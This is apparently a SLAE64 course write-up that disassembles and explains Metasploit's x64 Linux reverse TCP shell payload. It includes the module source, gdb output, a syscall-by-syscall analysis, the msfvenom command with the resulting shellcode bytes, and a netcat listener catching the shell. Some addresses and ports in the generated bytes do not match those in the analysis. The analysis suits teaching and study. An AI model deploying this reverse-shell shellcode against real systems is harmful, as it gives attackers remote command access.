Reverse TCP shellcode analysis , slae64 - 1337

Code in metasploit file:

```
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'

module Metasploit3
  include Msf::Payload::Single
  include Msf::Payload::Linux
  include Msf::Sessions::CommandShellOptions

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'Linux Command Shell, Reverse TCP Inline',
      'Description'   => 'Connect back to attacker and spawn a command shell',
      'Author'        => 'ricky',
      'License'       => MSF_LICENSE,
      'Platform'      => 'linux',
      'Arch'          => ARCH_X86_64,
      'Handler'       => Msf::Handler::ReverseTcp,
      'Session'       => Msf::Sessions::CommandShellUnix,
      'Payload'       =>
        {
          'Offsets' =>
            {
              'LHOST' => [ 20, 'ADDR' ],
              'LPORT' => [ 18, 'n'    ],
            },
          'Payload' =>
            "\x6a\x29"                 + # pushq  $0x29
            "\x58"                     + # pop    %rax
            "\x99"                     + # cltd
            "\x6a\x02"                 + # pushq  $0x2
            "\x5f"                     + # pop    %rdi
            "\x6a\x01"                 + # pushq  $0x1
            "\x5e"                     + # pop    %rsi
            "\x0f\x05"                 + # syscall
            "\x48\x97"                 + # xchg   %rax,%rdi
            "\x48\xb9\x02\x00"             + # movabs $0x100007fb3150002,%rcx
            "\x15\xb3"                 + #
            "\x7f\x00\x00\x01"             + #
            "\x51"                     + # push   %rcx
            "\x48\x89\xe6"                 + # mov    %rsp,%rsi
            "\x6a\x10"                 + # pushq  $0x10
            "\x5a"                     + # pop    %rdx
            "\x6a\x2a"                 + # pushq  $0x2a
            "\x58"                     + # pop    %rax
            "\x0f\x05"                 + # syscall
            "\x6a\x03"                 + # pushq  $0x3
            "\x5e"                     + # pop    %rsi
            "\x48\xff\xce"                 + # dec    %rsi
            "\x6a\x21"                 + # pushq  $0x21
```

```
          "\x58"                  + # pop    %rax
         "\x0f\x05"               + # syscall
         "\x75\xf6"               + # jne    27 <dup2_loop>
         "\x6a\x3b"               + # pushq  $0x3b
         "\x58"                  + # pop    %rax
         "\x99"                  + # cltd
         "\x48\xbb\x2f\x62\x69\x6e\x2f" + # movabs $0x68732f6e69622f,%rbx
         "\x73\x68\x00"             + #
         "\x53"                  + # push   %rbx
         "\x48\x89\xe7"             + # mov    %rsp,%rdi
         "\x52"                  + # push   %rdx
         "\x57"                  + # push   %rdi
         "\x48\x89\xe6"             + # mov    %rsp,%rsi
         "\x0f\x05"                # syscall
     }
    ))
  end
end
```

Code output with gdb :

```
  # gdb shellcode
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/Desktop/ExamRev/Assignment5/Reverse_TCP/shellcode...(no debugging symbols
found)...done.
(gdb) b *&code
Breakpoint 1 at 0x600980
(gdb) set disassembly-flavor intel
(gdb) r
Starting program: /root/Desktop/ExamRev/Assignment5/Reverse_TCP/shellcode
Shellcode Length:  17

Breakpoint 1, 0x0000000000600980 in code ()
(gdb) disassemble
Dump of assembler code for function code:
=> 0x0000000000600980 <+0>:    push   0x29
   0x0000000000600982 <+2>:    pop    rax
   0x0000000000600983 <+3>:    cdq
   0x0000000000600984 <+4>:    push   0x2
   0x0000000000600986 <+6>:    pop    rdi
   0x0000000000600987 <+7>:    push   0x1
   0x0000000000600989 <+9>:    pop    rsi
   0x000000000060098a <+10>:   syscall
   0x000000000060098c <+12>:   xchg   rdi,rax
   0x000000000060098e <+14>:   movabs rcx,0x8e0ba8c05c110002
   0x0000000000600998 <+24>:   push   rcx
   0x0000000000600999 <+25>:   mov    rsi,rsp
   0x000000000060099c <+28>:   push   0x10
   0x000000000060099e <+30>:   pop    rdx
   0x000000000060099f <+31>:   push   0x2a
   0x00000000006009a1 <+33>:   pop    rax
   0x00000000006009a2 <+34>:   syscall
```

```
   0x00000000006009a4 <+36>:    push   0x3
   0x00000000006009a6 <+38>:    pop    rsi
   0x00000000006009a7 <+39>:    dec    rsi
   0x00000000006009aa <+42>:    push   0x21
   0x00000000006009ac <+44>:    pop    rax
   0x00000000006009ad <+45>:    syscall
   0x00000000006009af <+47>:    jne    0x6009a7 <code+39>
   0x00000000006009b1 <+49>:    push   0x3b
   0x00000000006009b3 <+51>:    pop    rax
   0x00000000006009b4 <+52>:    cdq
   0x00000000006009b5 <+53>:    movabs rbx,0x68732f6e69622f
   0x00000000006009bf <+63>:    push   rbx
   0x00000000006009c0 <+64>:    mov    rdi,rsp
   0x00000000006009c3 <+67>:    push   rdx
   0x00000000006009c4 <+68>:    push   rdi
   0x00000000006009c5 <+69>:    mov    rsi,rsp
   0x00000000006009c8 <+72>:    syscall
   0x00000000006009ca <+74>:    add    BYTE PTR [rax],al
End of assembler dump.
```

Code analysis step by step:

```
<+0>: push   0x29
<+2>: pop    rax
<+3>: cdq
<+4>: push   0x2
<+6>: pop    rdi
<+7>: push   0x1
<+9>:pop    rsi
<+10>:syscall
```

```
<+0>push  0x29
<+2> pop    rax
```

move value 0x29 (41) to **rax** thought the stack

```
<+3>cdq
<+4>push  0x2
<+6> pop    rdi
```

set **rdx** to zero

move value 0x2 to **rdi** thought the stack

```
<+7>push  0x1
<+9> pop    rsi
<+10> syscall
```

move value 0x1 to **rsi** thought the stack
syscall 41 = socket syscall

prototype of function socket get by command : "man 2 socket"

```
int socket(int domain, int type, int protocol);
```

domain → rdi
type → rsi
protocol → rdx

definition get by the command "man 2 socket"

socket() creates an endpoint for communication and returns a descriptor.

rax get the return value (sockfd)
The value of **rdi** is 2 , 2 correspond to **AF_INET**
The value of **rsi** is 1 , 1 correspond to **SOCK_STREAM**
The value of **rdx** is 0 , 0 correspond to **TCP**

(You can get this value using python and socket module)

Finally the function call look-like this :

```
rax ← socket(rdi = 2 , rsi = 1 , rdx = 0);
```

Next couple of instructions :

```
<+12>:      xchg   rdi,rax
<+14>:      movabs rcx,0x100007fb3150002
<+24>:      push   rcx
<+25>:      mov    rsi,rsp
<+28>:      push   0x10
<+30>:      pop    rdx
<+31>:      push   0x2a
<+33>:      pop    rax
<+34>:      syscall
```

Prototype of the connect function:

```
int connect(int sockfd, const struct sockaddr *addr,
            socklen_t addrlen);
```

rdi → sockfd
*rsi → *addr*
rdx → addrlen

```
<+12> xchg   rdi , rax

<+24> movabs rcx , 0x100007fb3150002
<+25> mov    rsi,rsp
```

xchg value of rax , rdi -> move sockfd to rdi

// *addr filling

Remember how is fill struct sockaddr *addr:

```
; server.sin_family = AF_INET
; server.sin_port = htons(PORT)
; server.sin_addr.s_addr = inet_addr("127.0.0.1")
; bzero(&server.sin_zero, 8)
```

;in this case inet_addr in hex is 1000007fb (reverse order) correspond at the 4 upperbytes of value moved to rcx

0x100007fb3150002

;server.sin_port = b315 in network byte order , with socket.ntohs(b315) in python the value in little endian is 15105 correspond to **0x100007fb3150002**

; server.sin_family = AF_INET = 2 correspond to **0x100007fb3150002**

```
; bzero(&server.sin_zero, 8) = 8 null bytes
```

shellcode connect to localhost in 5555 port ..

```
<+28>:push   0x10
<+30>:pop    rdx
 <+31>:push   0x2a
<+33>:pop    rax
<+34>:syscall
```

size of **addr to **rdx**,(16 bytes)*

syscall number 42

Next couple of instructions :

```
<+36>:      push   0x3
<+38>:      pop    rsi
<+39>:      dec    rsi
<+42>:      push   0x21
<+44>:      pop    rax
<+45>:      syscall
jne    0x6009a9 <code+41>
```

we see a syscall , dup2 function (syscall number 33) --> `jne  27 <dup2_loop>` in metasploit file

Prototype of the dup2 function given by "man 2 dup2"

```
int dup2(int oldfd, int newfd);
```

Explanation given by the manual

These system calls create a copy of the file descriptor oldfd.

dup2 copy stdin , stderr, stdout , duplicate to send to the "attacker machine".

`jne  27 <dup2_loop>` jne not equal pass control to the next instruction if the zero-flag is

set , in this case zero flag is set if **rsi** == 0 , (**rsi** have the new sockfd value)
the loop start in this instruction

```
<+41> dec rsi
```

Next couple of instructions:

This is THE syscall , execve syscall

```
<+49> push  0x3b
<+51>pop    rax
<+52> cdq
<+53> mov rbx , 0x68732f6e69622f
<+63>push   rbx
<+64>mov    rdi , rsp
<+67> push   rdx
<+68> push   rdi
<+69>  mov    rsi, rsp
<+72>  syscall
```

move value 0x3b (59) to **rax** thought the stack
rdx set to null
move string **"/bin/sh"** in reverse order to **rbx** and push it into the stack
move stack pointer to rdi
rdx pushed into the stack
address of **"bin/sh"** pushed into the stack and moved to **rdi**

Finally the function call look-like this :

execve (rdi <<"/bin/sh">> , rsi <<address of "/bin/sh">> , rdx = 0);

Finally , how to test the shellcode :

shellcode given by msfvenom command :

```
:~# msfvenom -p linux/x64/shell_reverse_tcp -f c
```

```
unsigned char buf[] =
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48"
"\xb9\x02\x00\x11\x5c\xc0\xa8\x0b\x8e\x51\x48\x89\xe6\x6a\x10"
"\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58"
"\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05";
```

compile with the squelette program to test shellcode :

open listener with netcat

```
# nc -l -p 5555 -v
```

Execute the shellcode and get the shell trough netcat:

#./shellcode

```
nc: listening on :: 5555 ...
nc: listening on 0.0.0.0 5555 ...
nc: connect to 127.0.0.1 5555 from localhost (127.0.0.1) 34134 [34134]
ps
  PID TTY          TIME CMD
 5503 pts/2    00:00:00 bash
 6030 pts/2    00:00:00 sh
 6031 pts/2    00:00:00 ps
pwd
/root/Desktop/Exam/Assignment5/Reverse_TCP
exiit
/bin/sh: 3: exiit: not found
exit
```